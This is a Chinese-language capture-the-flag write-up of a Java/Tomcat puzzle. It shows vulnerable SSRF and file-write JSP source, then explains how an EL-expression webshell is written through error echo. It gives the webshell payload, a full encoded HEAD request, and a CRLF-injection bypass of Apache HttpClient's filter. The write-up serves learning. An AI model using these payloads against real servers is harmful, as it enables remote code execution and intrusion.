复现-[Java Puzzle #2 WP] HEAD权限绕过与字符截断CRLF

题目地址:https://mp.weixin.qq.com/s/grtTLQm_5ucm_XIUAZ9V0A

WP:https://mp.weixin.qq.com/s/FU_xCN7Uwfegy69aRXIVJg

题目背景

某公司的内部管理系统部署在内网环境中,管理员配置了严格的访问控制策略来保护敏感的管理页面。然而,安全配置的疏漏往往藏在细节之中...

题目说明

目标服务器运行着一个<font style="color:rgb(30, 107, 184);">Java Web</font>应用,管理员对<font style="color:rgb(30, 107, 184);">/admin/*</font>路径设置了访问限制。系统提供了一个图片下载功能,但服务器处于内网环境,无法访问外部网络。

你需要突破重重限制,最终获取到系统权限。

请勿进行扫描爆破等操作,目标环境不出网。

源码及访问地址

源码:

https://github.com/cwkiller/Java-Puzzle/blob/main/Tomcat's Secret Chamber/apache-tomcat-9.0.10.zip

环境搭建

下载源代码使用 idea 打开,编辑 tomcat 配置,选择好项目对应的 tomcat 目录。

部署设置应用目录。

访问环境。

解题

存在 getimg.jsp 文件

脚本大致功能如下:

因此思路为利用该应用报错回显来写入 webshell,url 参数可以指定当前应用 url,想办法让请求的报错达到在返回包自定义 webshell 内容的目的,因为 getimg.jsp会把响应包的内容写入到 url 最后一个 / 之后定义的文件名中。

java 复制代码
<%-- 
  这是一个存在严重安全漏洞的JSP文件下载功能
  功能:从指定URL下载文件并保存到服务器
  安全警告:此代码未经验证的用户输入,存在多个安全漏洞
  使用方式:访问此JSP时需提供url和token参数,如:
    http://example.com/download.jsp?url=http://target.com/file.jpg&token=abc123
--%>

<%-- JSP页面指令 --%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%-- 导入Apache HttpClient相关类,用于发送HTTP请求 --%>
<%@ page import="org.apache.http.client.methods.CloseableHttpResponse" %>
<%@ page import="org.apache.http.client.methods.HttpGet" %>
<%@ page import="org.apache.http.impl.client.CloseableHttpClient" %>
<%@ page import="org.apache.http.impl.client.HttpClients" %>
<%@ page import="org.apache.http.util.EntityUtils" %>
<%-- 导入Java IO类,用于文件操作 --%>
<%@ page import="java.io.*" %>

<%
    // ========== 参数接收部分 ==========
    // 从HTTP请求参数中获取目标URL
    // 安全漏洞:未对用户输入进行任何验证或过滤
    String targetUrl = request.getParameter("url");
    
    // 从HTTP请求参数中获取token
    // 安全漏洞:token验证机制薄弱,仅为简单头部验证
    String token = request.getParameter("token");
    
    // 检查必需参数是否存在
    if (targetUrl != null && token != null) {
        // ========== 变量声明部分 ==========
        // HTTP客户端,用于发送请求
        CloseableHttpClient httpClient = null;
        // HTTP响应对象
        CloseableHttpResponse httpResponse = null;
        // 文件输出流,用于将下载内容写入文件
        FileOutputStream fos = null;
        
        try {
            // ========== HTTP请求发送部分 ==========
            // 创建默认配置的HTTP客户端
            httpClient = HttpClients.createDefault();
            
            // 创建HTTP GET请求对象
            // 安全漏洞:直接使用用户输入的URL,可能导致SSRF攻击
            // 攻击者可请求内网资源:http://192.168.1.1/admin
            HttpGet httpGet = new HttpGet(targetUrl);
            
            // 添加Token到请求头部
            // 安全漏洞:token以明文形式传输,无加密
            httpGet.addHeader("Token", token);
            
            // 执行HTTP请求并获取响应
            httpResponse = httpClient.execute(httpGet);
            
            // ========== 响应处理部分 ==========
            // 将HTTP响应内容转换为字节数组
            // 安全风险:可能下载大文件导致内存溢出
            byte[] content = EntityUtils.toByteArray(httpResponse.getEntity());
            
            // ========== 文件名提取部分 ==========
            // 从URL中提取文件名(最后一个斜杠后的部分)
            String fileName = "";
            int lastSlashIndex = targetUrl.lastIndexOf('/');
            if (lastSlashIndex != -1 && lastSlashIndex < targetUrl.length() - 1) {
                fileName = targetUrl.substring(lastSlashIndex + 1);
            }
            
            // ========== 路径构造部分 ==========
            // 获取Web应用程序根目录的物理路径
            // 示例:/var/www/tomcat/webapps/myapp/
            String webRootPath = application.getRealPath("/");
            
            // ========== 安全过滤部分 ==========
            // 简单的路径遍历攻击防护(非常薄弱)
            // 仅检查是否包含"..",可轻易绕过
            // 绕过示例:使用"."或编码后的".."
            if (fileName.indexOf("..") != -1) {
                fileName = "error";
            }
            
            // 构造文件保存路径
            // 安全漏洞:可能覆盖服务器上已有文件
            // 安全漏洞:未验证文件类型,可能上传恶意文件
            String filePath = webRootPath + "/img/" + fileName;
            
            // ========== 文件保存部分 ==========
            // 创建文件输出流
            fos = new FileOutputStream(filePath);
            
            // 将下载的内容写入文件
            fos.write(content);
            
            // 强制将缓冲区内容写入磁盘
            fos.flush();
            
            // ========== 结果输出部分 ==========
            // 输出文件访问地址(Web访问路径)
            // 示例:访问地址: /myapp/img/photo.jpg
            out.println("访问地址: " + request.getContextPath() + "/" + fileName);
            
        } catch (Exception e) {
            // ========== 异常处理部分 ==========
            // 向客户端输出错误信息
            // 安全漏洞:将异常详情暴露给用户,可能泄露敏感信息
            out.println("错误: " + e.getMessage());
            
            // 在服务器日志中打印完整异常堆栈
            // 用于调试,但生产环境应记录到日志文件
            e.printStackTrace();
            
        } finally {
            // ========== 资源清理部分 ==========
            // 确保资源被正确关闭,防止资源泄漏
            try {
                if (fos != null) fos.close();
                if (httpResponse != null) httpResponse.close();
                if (httpClient != null) httpClient.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    } else {
        // ========== 参数缺失处理 ==========
        // 当url或token参数缺失时,提示用户
        out.println("请提供 url、token参数");
    }
%>

<%--
安全漏洞总结:
1. SSRF漏洞:可请求任意URL,包括内网资源
2. 路径遍历:文件名过滤不充分,可能访问系统文件
3. 文件上传漏洞:可上传任意类型文件到服务器
4. 信息泄露:异常信息直接暴露给用户
5. 无文件大小限制:可能下载大文件导致磁盘或内存溢出
6. 无文件类型验证:可能上传恶意脚本文件
7. 无访问控制:任何人都可调用此功能
8. Token验证薄弱:仅为简单头部验证

建议修复措施:
1. 验证目标URL域名白名单
2. 严格限制文件扩展名(只允许图片格式)
3. 限制文件大小
4. 使用安全的文件名生成策略(如UUID)
5. 添加身份验证和授权检查
6. 使用HTTPS保护token传输
7. 将异常信息记录到日志而非返回给用户
8. 添加速率限制防止滥用
--%>

请求 url 是可以报错回显的,但是不支持 { < 这类 webshell 所必须的符号,直接报错 400,不回显内容,因此只能发从Token 头入手,想办法让 Token 的值可以回显到页面中。

因为可以 token 参数的值为请求包的 Token 头的值,因此需要想办法让 Token 的值可以回显到相应包以达到自定义 webshell 的目的,这里通过换行\n导致报错,因此可以将自定义内容输出到页面中。

这里报错就是因为换行了,没有头的内容可以直接回显到页面中。

测试是否支持{} <>,发现支持 {

因此可以用 EL 表达式在构造 webshell。

java 复制代码
${param.getClass().forName(param.error).newInstance().getEngineByName(param.Engine).eval(param.cmd)}

经报错测试,可以完全回显到响应体中。

使用/admin/getimg.jsp文件测试,发现生成的 jsp 文件报错404,没有达到预期的报错 400 并且把自定义内容写入 test.jsp。

java 复制代码
HEAD /admin/getimg.jsp?url=http://127.0.0.1:8088/test.jsp&token=%61%61%61%61%61%0d%0a%24%7b%70%61%72%61%6d%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%70%61%72%61%6d%2e%65%72%72%6f%72%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2e%67%65%74%45%6e%67%69%6e%65%42%79%4e%61%6d%65%28%70%61%72%61%6d%2e%45%6e%67%69%6e%65%29%2e%65%76%61%6c%28%70%61%72%61%6d%2e%63%6d%64%29%7d HTTP/1.1
Host: 192.168.2.141:8088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

开始排错,本地nc监听 9999 端口,请求 url 改为 9999 端口,可以看到 Token 头并未换行成功,因此直接 url编码\n无法实现换成。

这里考察的是 CRLF注入绕过。

CRLF注入 (Carriage Return Line Feed Injection)是一种Web安全漏洞,攻击者通过在HTTP请求中插入回车符(CR, **<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">\r</font>**,%0d)换行符(LF, **<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">\n</font>**,%0a),来控制HTTP响应或日志格式。

<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">%0d%0a</font>CRLF(回车换行)的URL编码形式

**<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">%0d%0a</font>** = <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">\r\n</font> = CRLF

Apache HttpClient对CRLF注入做了防御。

通过搜索或者询问AI可以找到这个issues(或者直接搜索CRLF注入有类似的payload)

https://issues.apache.org/jira/browse/HTTPCLIENT-1974?page=com.atlassian.jira.plugin.system.issuetabpanels%3Acomment-tabpanel&focusedCommentId=16797961

找到一种绕过方式使用\u560d\u560a来代替\r\n,然后我们将\u560a进行URL编码最终得到 %E5%98%8A

将%0a 替换为 %E5%98%8A 即可成功换行。

EL webshell 被成功写入 test.jsp文件中。

相关推荐
克喵的水银蛇1 小时前
Flutter 弹性布局实战:快速掌握 Row/Column/Flex 核心用法
开发语言·javascript·flutter
sztian681 小时前
JavaScript---BOM对象、JS执行机制、location对象
开发语言·前端·javascript
CoderYanger1 小时前
动态规划算法-斐波那契数列模型:2.三步问题
开发语言·算法·leetcode·面试·职场和发展·动态规划·1024程序员节
小坏讲微服务1 小时前
SpringBoot4.0整合Scala完整使用
java·开发语言·spring boot·后端·scala·mybatis
泉城老铁1 小时前
windows服务器mysql数据库备份脚本
java·后端·mysql
神奇的板烧1 小时前
Java泛型不变性引发的类型转换问题及解决方案
java·c#
CoderYanger1 小时前
动态规划算法-简单多状态dp问题:16.买卖股票的最佳时机含手续费
开发语言·算法·leetcode·动态规划·1024程序员节
计算机学姐1 小时前
基于Python的校园美食推荐系统【2026最新】
开发语言·vue.js·后端·python·mysql·django·推荐算法